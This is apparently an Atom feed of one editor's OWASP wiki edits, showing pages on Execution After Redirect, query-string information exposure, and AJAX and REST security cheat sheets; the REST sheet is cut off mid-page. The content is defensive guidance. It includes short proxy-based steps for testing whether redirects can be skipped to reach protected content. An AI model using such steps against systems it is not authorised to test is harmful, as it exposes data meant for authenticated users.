* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Robert_Gilbert&amp;diff=228497</id>
		<title>User:Robert Gilbert</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Robert_Gilbert&amp;diff=228497"/>
				<updated>2017-04-07T20:10:31Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Added URL&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Information security professional with several years working experience in security, project management, architecture, and support. Expertise in penetration testing and working closely with clients.&lt;br /&gt;
&lt;br /&gt;
https://amroot.com&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=228421</id>
		<title>Information exposure through query strings in url</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=228421"/>
				<updated>2017-04-06T20:30:55Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Removed &amp;quot;Related Attacks&amp;quot; as it's open for debate.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Information exposure through query strings in GET request is when sensitive data is passed to parameters in the URL.&lt;br /&gt;
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.&lt;br /&gt;
Simply using HTTPS does not resolve this vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
Regardless of using encryption, the following URL will expose information in the locations detailed below:&lt;br /&gt;
https://vulnerablehost.com/authuser?user=bob&amp;amp;authz_token=1234&amp;amp;expire=1500000000&lt;br /&gt;
&lt;br /&gt;
The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:&lt;br /&gt;
* Referer Header&lt;br /&gt;
* Web Logs&lt;br /&gt;
* Shared Systems&lt;br /&gt;
* Browser History&lt;br /&gt;
* Browser Cache&lt;br /&gt;
* Shoulder Surfing&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
When not using an encrypted channel, all of the above and the following:&lt;br /&gt;
* Man-in-the-Middle&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
=== Exposure Proof-of-Concept===&lt;br /&gt;
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:&lt;br /&gt;
https://vulnerablehost.com/information-exposure-log.png&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]&lt;br /&gt;
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1.  Threat: Eavesdropping or Leaking Authorization &amp;quot;codes&amp;quot;]&lt;br /&gt;
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]&lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=228420</id>
		<title>Information exposure through query strings in url</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Information_exposure_through_query_strings_in_url&amp;diff=228420"/>
				<updated>2017-04-06T20:28:16Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Created page with &amp;quot;{{stub}}  {{Template:Vulnerability}} Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''  ==Description==  Information exposure through query st...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Vulnerability}}&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Information exposure through query strings in GET request is when sensitive data is passed to parameters in the URL.&lt;br /&gt;
This allows attackers to obtain sensitive data such as usernames, passwords, tokens (authX), database details, and any other potentially sensitive data.&lt;br /&gt;
Simply using HTTPS does not resolve this vulnerability. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
Regardless of using encryption, the following URL will expose information in the locations detailed below:&lt;br /&gt;
https://vulnerablehost.com/authuser?user=bob&amp;amp;authz_token=1234&amp;amp;expire=1500000000&lt;br /&gt;
&lt;br /&gt;
The parameter values for 'user', 'authz_token', and 'expire' will be exposed in the following locations when using HTTP or HTTPS:&lt;br /&gt;
* Referer Header&lt;br /&gt;
* Web Logs&lt;br /&gt;
* Shared Systems&lt;br /&gt;
* Browser History&lt;br /&gt;
* Browser Cache&lt;br /&gt;
* Shoulder Surfing&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
When not using an encrypted channel, all of the above and the following:&lt;br /&gt;
* Man-in-the-Middle&lt;br /&gt;
* TBD&lt;br /&gt;
&lt;br /&gt;
=== Exposure Proof-of-Concept===&lt;br /&gt;
The following figure displays how an internal attacker can potentially exploit this vulnerability as the request above is captured in the server logs even when requested via an encrypted channel:&lt;br /&gt;
https://vulnerablehost.com/information-exposure-log.png&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Session Hijacking]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
* [https://cwe.mitre.org/data/definitions/598.html CWE-598: Information Exposure Through Query Strings in GET Request]&lt;br /&gt;
* [https://tools.ietf.org/html/rfc6819#section-4.4.1 4.4.1.1.  Threat: Eavesdropping or Leaking Authorization &amp;quot;codes&amp;quot;]&lt;br /&gt;
* [https://www.owasp.org/index.php/Testing_for_Exposed_Session_Variables_(OTG-SESS-004) Testing for Exposed Session Variables (OTG-SESS-004)]&lt;br /&gt;
* [https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure Top 10 2013-A6-Sensitive Data Exposure]&lt;br /&gt;
* [https://portswigger.net/knowledgebase/issues/details/00400300_passwordsubmittedusinggetmethod Passwords Submitted Using GET Method]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Cryptographic Vulnerability]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=228263</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=228263"/>
				<updated>2017-04-03T20:17:43Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Included link to CVE-2013-1402 Detail&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Send to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
* [https://nvd.nist.gov/vuln/detail/CVE-2013-1402 CVE-2013-1402: DigiLIBE Management Console | Execution After Redirect (EAR) Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=AJAX_Security_Cheat_Sheet&amp;diff=223520</id>
		<title>AJAX Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=AJAX_Security_Cheat_Sheet&amp;diff=223520"/>
				<updated>2016-11-17T21:18:51Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: /* Don't perform encryption in client side code */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This document will provide a starting point for AJAX security and will hopefully be updated and expanded reasonably often to provide more detailed information about specific frameworks and technologies.&lt;br /&gt;
&lt;br /&gt;
== Client Side (Javascript) ==&lt;br /&gt;
&lt;br /&gt;
=== Use .innerText instead of .innerHtml ===&lt;br /&gt;
&lt;br /&gt;
The use of .innerText will prevent most XSS problems as it will automatically encode the text.&lt;br /&gt;
&lt;br /&gt;
=== Don't use eval ===&lt;br /&gt;
&lt;br /&gt;
Eval is evil, never use it.  Needing to use eval usually indicates a problem in your design.&lt;br /&gt;
&lt;br /&gt;
=== Canonicalize data to consumer (read: encode before use) ===&lt;br /&gt;
&lt;br /&gt;
When using data to build HTML, script, CSS, XML, JSON, etc. make sure you take into account how that data must be presented in a literal sense to keep it's logical meaning.  Data should be properly encoded before used in this manner to prevent injection style issues, and to make sure the logical meaning is preserved.&lt;br /&gt;
&lt;br /&gt;
[[:Category:OWASP_Encoding_Project|Check out the OWASP Encoding Project.]]&lt;br /&gt;
&lt;br /&gt;
=== Don't rely on client logic for security ===&lt;br /&gt;
&lt;br /&gt;
Least ye have forgotten the user controls the client side logic.  I can use a number of browser plugging to set breakpoints, skip code, change values, etc.  Never rely on client logic.&lt;br /&gt;
&lt;br /&gt;
=== Don't rely on client business logic ===&lt;br /&gt;
&lt;br /&gt;
Just like the security one, make sure any interesting business rules/logic is duplicated on the server side less a user bypass needed logic and do something silly, or worse, costly.&lt;br /&gt;
&lt;br /&gt;
=== Avoid writing serialization code ===&lt;br /&gt;
&lt;br /&gt;
This is hard and even a small mistake can cause large security issues.  There are already a lot of frameworks to provide this functionality.  Take a look at the [http://www.json.org/ JSON page] for links.&lt;br /&gt;
&lt;br /&gt;
=== Avoid building XML or JSON dynamically ===&lt;br /&gt;
&lt;br /&gt;
Just like building HTML or SQL you will cause XML injection bugs, so stay way from this or at least use an encoding library or safe JSON or XML library to make attributes and element data safe.&lt;br /&gt;
&lt;br /&gt;
* [[XSS (Cross Site Scripting) Prevention Cheat Sheet|XSS (Cross Site Scripting) Prevention]]&lt;br /&gt;
* [[SQL Injection Prevention Cheat Sheet|SQL Injection Prevention]]&lt;br /&gt;
&lt;br /&gt;
=== Never transmit secrets to the client ===&lt;br /&gt;
&lt;br /&gt;
Anything the client knows the user will also know, so keep all that secret stuff on the server please.&lt;br /&gt;
&lt;br /&gt;
=== Don't perform encryption in client side code ===&lt;br /&gt;
&lt;br /&gt;
Use TLS/SSL and encrypt on the server!&lt;br /&gt;
&lt;br /&gt;
=== Don't perform security impacting logic on client side ===&lt;br /&gt;
&lt;br /&gt;
This is the overall one that gets me out of trouble in case I missed something :) &lt;br /&gt;
&lt;br /&gt;
== Server Side ==&lt;br /&gt;
=== Protect against JSON Hijacking for Older Browsers ===&lt;br /&gt;
====  Use CSRF Protection ====&lt;br /&gt;
* [[Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet|Cross-Site Request Forgery (CSRF) Prevention]]&lt;br /&gt;
&lt;br /&gt;
==== Always return JSON with an Object on the outside ====&lt;br /&gt;
&lt;br /&gt;
Always have the outside primitive be an object for JSON strings:&lt;br /&gt;
&lt;br /&gt;
'''Exploitable:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[{&amp;quot;object&amp;quot;: &amp;quot;inside an array&amp;quot;}]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Not exploitable:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&amp;quot;object&amp;quot;: &amp;quot;not inside an array&amp;quot;}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Also not exploitable:'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
{&amp;quot;result&amp;quot;: [{&amp;quot;object&amp;quot;: &amp;quot;inside an array&amp;quot;}]}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Avoid writing serialization code. Remember ref vs. value types! ===&lt;br /&gt;
&lt;br /&gt;
Look for an existing library that has been reviewed.&lt;br /&gt;
&lt;br /&gt;
=== Services can be called by users directly ===&lt;br /&gt;
&lt;br /&gt;
Even though you only expect your AJAX client side code to call those services the users can too.  Make sure you validate inputs and treat them like they are under user control (because they are!).&lt;br /&gt;
&lt;br /&gt;
=== Avoid building XML or JSON by hand, use the framework ===&lt;br /&gt;
&lt;br /&gt;
Use the framework and be safe, do it by hand and have security issues.&lt;br /&gt;
&lt;br /&gt;
=== Use JSON And XML Schema for Webservices ===&lt;br /&gt;
&lt;br /&gt;
You need to use a 3rd party library to validate web services. &lt;br /&gt;
&lt;br /&gt;
== Authors and Primary Editors  ==&lt;br /&gt;
&lt;br /&gt;
Til Mas&amp;lt;br/&amp;gt;&lt;br /&gt;
Michael Eddington&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
[[Category:OWASP AJAX Security Project]]&lt;br /&gt;
[[Category:Cheetsheet]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&amp;diff=223507</id>
		<title>REST Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=REST_Security_Cheat_Sheet&amp;diff=223507"/>
				<updated>2016-11-17T15:23:24Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: /* Input validation 101 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
[http://en.wikipedia.org/wiki/Representational_state_transfer REST] (or REpresentational State Transfer) is a means of expressing specific entities in a system by URL path elements. REST is not an architecture but it is an architectural style to build services on top of the Web. REST allows interaction with a web-based system via simplified URLs rather than complex request body or &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt; parameters to request specific items from the system. This document serves as a guide (although not exhaustive) of best practices to help REST-based services.&lt;br /&gt;
&lt;br /&gt;
= Authentication and session management =&lt;br /&gt;
&lt;br /&gt;
RESTful web services should use session-based authentication, either by establishing a session token via a POST or by using an API key as a POST body argument or as a cookie. Usernames, passwords, session tokens, and API keys should not appear in the URL, as this can be captured in web server logs, which makes them intrinsically valuable.&lt;br /&gt;
&lt;br /&gt;
OK:&lt;br /&gt;
&lt;br /&gt;
* [https://example.com/resourceCollection/123/action https://example.com/resourceCollection/&amp;lt;id&amp;gt;/action]&lt;br /&gt;
* https://twitter.com/vanderaj/lists&lt;br /&gt;
&lt;br /&gt;
NOT OK:&lt;br /&gt;
&lt;br /&gt;
* [https://example.com/controller/123/action?apiKey=a53f435643de32 https://example.com/controller/&amp;lt;id&amp;gt;/action?apiKey=a53f435643de32] (API Key in URL)&lt;br /&gt;
* [http://example.com/controller/123/action?apiKey=a53f435643de32 http://example.com/controller/&amp;lt;id&amp;gt;/action?apiKey=a53f435643de32] (transaction not protected by TLS; API Key in URL)&lt;br /&gt;
&lt;br /&gt;
== OAuth for Authentication and Authorization ==&lt;br /&gt;
&lt;br /&gt;
The OAuth 2.0 authorization framework enables a third-party application to obtain limited access to an HTTP service, either on between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf. &lt;br /&gt;
&lt;br /&gt;
https://tools.ietf.org/html/rfc6749&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Protect Session State ==&lt;br /&gt;
&lt;br /&gt;
Many web services are written to be as stateless as possible. This usually ends up with a state blob being sent as part of the transaction. &lt;br /&gt;
&lt;br /&gt;
* Consider using only the session token or API key to maintain client state in a server-side cache. This is directly equivalent to how normal web apps do it, and there's a reason why this is moderately safe. &lt;br /&gt;
* Anti-replay. Attackers will cut and paste a blob and become someone else.  Consider using a time limited encryption key, keyed against the session token or API key, date and time, and incoming IP address. In general, implement some protection of local client storage of the authentication token to mitigate replay attacks.&lt;br /&gt;
* Don't make it easy to decrypt; change the internal state to be much better than it should be.&lt;br /&gt;
&lt;br /&gt;
In short, even if you have a brochureware web site, don't put in &amp;lt;tt&amp;gt;https://example.com/users/2313/edit?isAdmin=false&amp;amp;debug=false&amp;amp;allowCSRPanel=false&amp;lt;/tt&amp;gt; as you will quickly end up with a lot of admins, and help desk helpers, and &amp;quot;developers&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Authorization =&lt;br /&gt;
&lt;br /&gt;
== Anti-farming ==&lt;br /&gt;
&lt;br /&gt;
Many RESTful web services are put up, and then farmed, such as a price matching website or aggregation service. There's no technical method of preventing this use, so strongly consider means to encourage it as a business model by making high velocity farming is possible for a fee, or contractually limiting service using terms and conditions. CAPTCHAs and similar methods can help reduce simpler adversaries, but not well funded or technically competent adversaries. Using mutually assured client side TLS certificates may be a method of limiting access to trusted organizations, but this is by no means certain, particularly if certificates are posted deliberately or by accident to the Internet. &lt;br /&gt;
&lt;br /&gt;
== Protect HTTP methods ==&lt;br /&gt;
&lt;br /&gt;
RESTful API often use GET (read), POST (create), PUT (replace/update) and DELETE (to delete a record). Not all of these are valid choices for every single resource collection, user, or action. Make sure the incoming HTTP method is valid for the session token/API key and associated resource collection, action, and record. For example, if you have an RESTful API for a library, it's not okay to allow anonymous users to DELETE book catalog entries, but it's fine for them to GET a book catalog entry. On the other hand, for the librarian, both of these are valid uses.&lt;br /&gt;
&lt;br /&gt;
== Whitelist allowable methods ==&lt;br /&gt;
&lt;br /&gt;
It is common with RESTful services to allow multiple methods for a given URL for different operations on that entity. For example, a &amp;lt;tt&amp;gt;GET&amp;lt;/tt&amp;gt; request might read the entity while &amp;lt;tt&amp;gt;PUT&amp;lt;/tt&amp;gt; would update an existing entity, &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt; would create a new entity, and &amp;lt;tt&amp;gt;DELETE&amp;lt;/tt&amp;gt; would delete an existing entity. It is important for the service to properly restrict the allowable verbs such that only the allowed verbs would work, while all others would return a proper response code (for example, a &amp;lt;tt&amp;gt;403 Forbidden&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
In Java EE in particular, this can be difficult to implement properly. See [http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering Bypassing Web Authentication and Authorization with HTTP Verb Tampering] for an explanation of this common misconfiguration.&lt;br /&gt;
&lt;br /&gt;
== Protect privileged actions and sensitive resource collections ==&lt;br /&gt;
&lt;br /&gt;
Not every user has a right to every web service. This is vital, as you don't want administrative web services to be misused:&lt;br /&gt;
&lt;br /&gt;
* https://example.com/admin/exportAllData&lt;br /&gt;
&lt;br /&gt;
The session token or API key should be sent along as a cookie or body parameter to ensure that privileged collections or actions are properly protected from unauthorized use.&lt;br /&gt;
&lt;br /&gt;
== Protect against cross-site request forgery ==&lt;br /&gt;
&lt;br /&gt;
For resources exposed by RESTful web services, it's important to make sure any PUT, POST, and DELETE request is protected from Cross Site Request Forgery. Typically one would use a token-based approach. See [[Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet]] for more information on how to implement CSRF-protection.&lt;br /&gt;
&lt;br /&gt;
CSRF is easily achieved even using random tokens if any XSS exists within your application, so please make sure you understand [[XSS (Cross Site Scripting) Prevention Cheat Sheet|how to prevent XSS]].&lt;br /&gt;
&lt;br /&gt;
== Insecure direct object references ==&lt;br /&gt;
&lt;br /&gt;
It may seem obvious, but if you had a bank account REST web service, you'd have to make sure there is adequate checking of primary and foreign keys:&lt;br /&gt;
&lt;br /&gt;
* https://example.com/account/325365436/transfer?amount=$100.00&amp;amp;toAccount=473846376&lt;br /&gt;
&lt;br /&gt;
In this case, it would be possible to transfer money from any account to any other account, which is clearly absurd. Not even a random token makes this safe.&lt;br /&gt;
&lt;br /&gt;
* https://example.com/invoice/2362365&lt;br /&gt;
&lt;br /&gt;
In this case, it would be possible to get a copy of all invoices. &lt;br /&gt;
&lt;br /&gt;
This is essentially a data-contextual access control enforcement need. A URL or even a POSTed form should NEVER contain an access control &amp;quot;key&amp;quot; or similar that provides automatic verification. &amp;lt;b&amp;gt;A data contextual check needs to be done, server side, with each request.&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Input validation =&lt;br /&gt;
&lt;br /&gt;
== Input validation 101 ==&lt;br /&gt;
&lt;br /&gt;
Everything you know about input validation applies to RESTful web services, but add 10% because automated tools can easily fuzz your interfaces for hours on end at high velocity. So:&lt;br /&gt;
&lt;br /&gt;
* Assist the user &amp;gt; Reject input &amp;gt; Sanitize (filtering) &amp;gt; No input validation&lt;br /&gt;
&lt;br /&gt;
Assisting the user makes the most sense, as the most common scenario is &amp;quot;problem exists between keyboard and chair&amp;quot; (PEBKAC). Help the user input high quality data into your web services, such as ensuring a Zip code makes sense for the supplied address, or the date makes sense. If not, reject that input. If they continue on, or it's a text field or some other difficult to validate field, input sanitization is a losing proposition but still better than XSS or SQL injection. If you're already reduced to  sanitization or no input validation, make sure output encoding is very strong for your application. &lt;br /&gt;
&lt;br /&gt;
Log input validation failures, particularly if you assume that client-side code you wrote is going to call your web services. The reality is that anyone can call your web services, so assume that someone who is performing hundreds of failed input validations per second is up to no good. Also consider rate limiting the API to a certain number of requests per hour or day to prevent abuse.&lt;br /&gt;
&lt;br /&gt;
== Secure parsing ==&lt;br /&gt;
&lt;br /&gt;
Use a secure parser for parsing the incoming messages. If you are using XML, make sure to use a parser that is not vulnerable to [https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing XXE] and similar attacks.&lt;br /&gt;
&lt;br /&gt;
== Strong typing ==&lt;br /&gt;
&lt;br /&gt;
It's difficult to perform most attacks if the only allowed values are true or false, or a number, or one of a small number of acceptable values. Strongly type incoming data as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
== Validate incoming content-types ==&lt;br /&gt;
&lt;br /&gt;
When POSTing or PUTting new data, the client will specify the Content-Type (e.g. &amp;lt;tt&amp;gt;application/xml&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;application/json&amp;lt;/tt&amp;gt;) of the incoming data. The server should never assume the Content-Type; it should always check that the Content-Type header and the content are the same type. A lack of Content-Type header or an unexpected Content-Type header should result in the server rejecting the content with a &amp;lt;tt&amp;gt;406 Not Acceptable&amp;lt;/tt&amp;gt; response.&lt;br /&gt;
&lt;br /&gt;
== Validate response types ==&lt;br /&gt;
&lt;br /&gt;
It is common for REST services to allow multiple response types (e.g. &amp;lt;tt&amp;gt;application/xml&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;application/json&amp;lt;/tt&amp;gt;, and the client specifies the preferred order of response types by the &amp;lt;tt&amp;gt;Accept&amp;lt;/tt&amp;gt; header in the request. '''Do NOT''' simply copy the &amp;lt;tt&amp;gt;Accept&amp;lt;/tt&amp;gt; header to the &amp;lt;tt&amp;gt;Content-type&amp;lt;/tt&amp;gt; header of the response. Reject the request (ideally with a &amp;lt;tt&amp;gt;406 Not Acceptable&amp;lt;/tt&amp;gt; response) if the &amp;lt;tt&amp;gt;Accept&amp;lt;/tt&amp;gt; header does not specifically contain one of the allowable types.&lt;br /&gt;
&lt;br /&gt;
Because there are many MIME types for the typical response types, it's important to document for clients specifically which MIME types should be used.&lt;br /&gt;
&lt;br /&gt;
== XML input validation == &lt;br /&gt;
&lt;br /&gt;
XML-based services must ensure that they are protected against common XML based attacks by using secure XML-parsing. This typically means protecting against XML External Entity attacks, XML-signature wrapping etc. See  [http://ws-attacks.org http://ws-attacks.org] for examples of such attacks.&lt;br /&gt;
&lt;br /&gt;
== Framework-Provided Validation ==&lt;br /&gt;
&lt;br /&gt;
Many frameworks, such as [https://jersey.java.net/ Jersey], allow for validation constraints to be enforced automatically by the framework at request or response time. (See [https://jersey.java.net/documentation/latest/bean-validation.html Bean Validation Support] for more information). While this does not validate the structure of JSON or XML data before being unmarshaled, it does provide automatic validation after unmarshaling, but before the data is presented to the application.&lt;br /&gt;
&lt;br /&gt;
= Output encoding =&lt;br /&gt;
&lt;br /&gt;
== Send security headers ==&lt;br /&gt;
&lt;br /&gt;
